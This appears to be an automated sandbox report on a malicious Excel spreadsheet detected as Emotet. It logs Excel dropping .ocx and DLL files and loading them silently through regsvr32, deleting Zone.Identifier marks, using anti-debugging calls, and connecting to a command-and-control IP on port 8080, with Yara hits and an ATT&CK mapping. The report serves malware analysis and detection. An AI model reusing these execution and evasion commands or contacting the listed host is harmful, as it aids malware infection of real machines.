Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF70C7FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF70CBD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74FBD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D27FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2BD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74FB3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF70CB3B0 appears 148 times

Source: 5F20.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: Scan 2022.20.05_0910.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE
Source: Scan 2022.20.05_0910.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE

Source: Scan 2022.20.05_0910.xls	Virustotal: Detection: 44%
Source: Scan 2022.20.05_0910.xls	ReversingLabs: Detection: 36%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PlMfP\OpoHHoBHS.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PlMfP\OpoHHoBHS.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\uxevr1.ocx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR56A7.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@16/17@4/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: Scan 2022.20.05_0910.xls	OLE indicator, Workbook stream: true
Source: Scan 2022.20.05_0910.xls.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180006F2C CloseHandle,Process32FirstW,CreateToolhelp32Snapshot,Process32NextW,

4_2_0000000180006F2C

Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: Scan 2022.20.05_0910.xls

Initial sample: OLE indicators vbamacros = False

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000C892 push ebp; retf	3_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D095 push B3B8007Eh; iretd	3_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D0F3 push ebp; iretd	3_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013551 push ebx; retf	3_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D15D push ebx; retn 0068h	3_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000CDA8 push ebp; iretd	3_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000CE36 push 458B0086h; iretd	3_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013551 push ebx; retf	4_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000C892 push ebp; retf	5_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D095 push B3B8007Eh; iretd	5_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D0F3 push ebp; iretd	5_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013551 push ebx; retf	5_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D15D push ebx; retn 0068h	5_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000CDA8 push ebp; iretd	5_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000CE36 push 458B0086h; iretd	5_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180013551 push ebx; retf	7_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000C892 push ebp; retf	8_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000D095 push B3B8007Eh; iretd	8_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000D0F3 push ebp; iretd	8_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180013551 push ebx; retf	8_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000D15D push ebx; retn 0068h	8_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000CDA8 push ebp; iretd	8_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000CE36 push 458B0086h; iretd	8_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180013551 push ebx; retf	9_2_0000000180013559

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30CC0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

3_2_000007FEF9D30CC0

Source: uxevr1.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x67d8e
Source: uxevr3.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x6165e
Source: uxevr2.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x61d00
Source: f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x6165e
Source: Cmk1Nr[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x67d8e
Source: xqJfpnc0wEmcroPdpB[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x61d00

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PlMfP\OpoHHoBHS.dll"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Cmk1Nr[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\PlMfP\OpoHHoBHS.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\PlMfP\OpoHHoBHS.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll (copy)	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\PlMfP\OpoHHoBHS.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 2520	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2728	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2944	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 3044	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2536	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1988	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_3-16410

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Cmk1Nr[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\f6TC4C6PwMWzjYykKV327CT8vWcYjtGvLL[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.2 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.2 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 7.3 %

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	7_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	9_2_00000001800248B0

Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16412
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16517
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_5-16464
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_5-16668
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

3_2_000007FEF9D23280

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30215 _itow_s,_invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,_wcsftime_l,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_snwprintf_s,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_oneof,_invoke_watson_if_error,_unlock,GetFileType,WriteConsoleW,GetLastError,_invoke_watson_if_oneof,WriteFile,WriteFile,OutputDebugStringW,_itow_s,_invoke_watson_if_error,

3_2_000007FEF9D30215

Source: C:\Windows\System32\regsvr32.exe

3_2_000007FEF9D30CC0

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_000007FEF9D23280
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_000007FEF9D2BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74F3280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_000007FEF74F3280
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74FBE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_000007FEF74FBE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000007FEF70CBE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_000007FEF70CBE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000007FEF70C3280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_000007FEF70C3280

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 173.82.82.196 8080

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PlMfP\OpoHHoBHS.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28900 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_000007FEF9D28900

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28860 HeapCreate,GetVersion,HeapSetInformation,

3_2_000007FEF9D28860

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 3.2.regsvr32.exe.3e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.510000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.919789550.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1248680431.0000000000160000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1249251446.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.930405356.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.919412326.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1249191933.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1248874495.0000000000510000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.914158918.00000000003E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.930201138.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1248687990.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1249180337.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Scripting	Path Interception	111 Process Injection	131 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	43 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	12 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	13 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Process Injection	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	23 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Scripting	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Obfuscated Files or Information	Proc Filesystem	16 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Regsvr32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Scan 2022.20.05_0910.xls	44%	Virustotal		Browse
Scan 2022.20.05_0910.xls	37%	ReversingLabs	Document-Excel.Trojan.Abracadabra

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\xqJfpnc0wEmcroPdpB[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr3.ocx	100%	Joe Sandbox ML
C:\Users\user\uxevr1.ocx	100%	Joe Sandbox ML
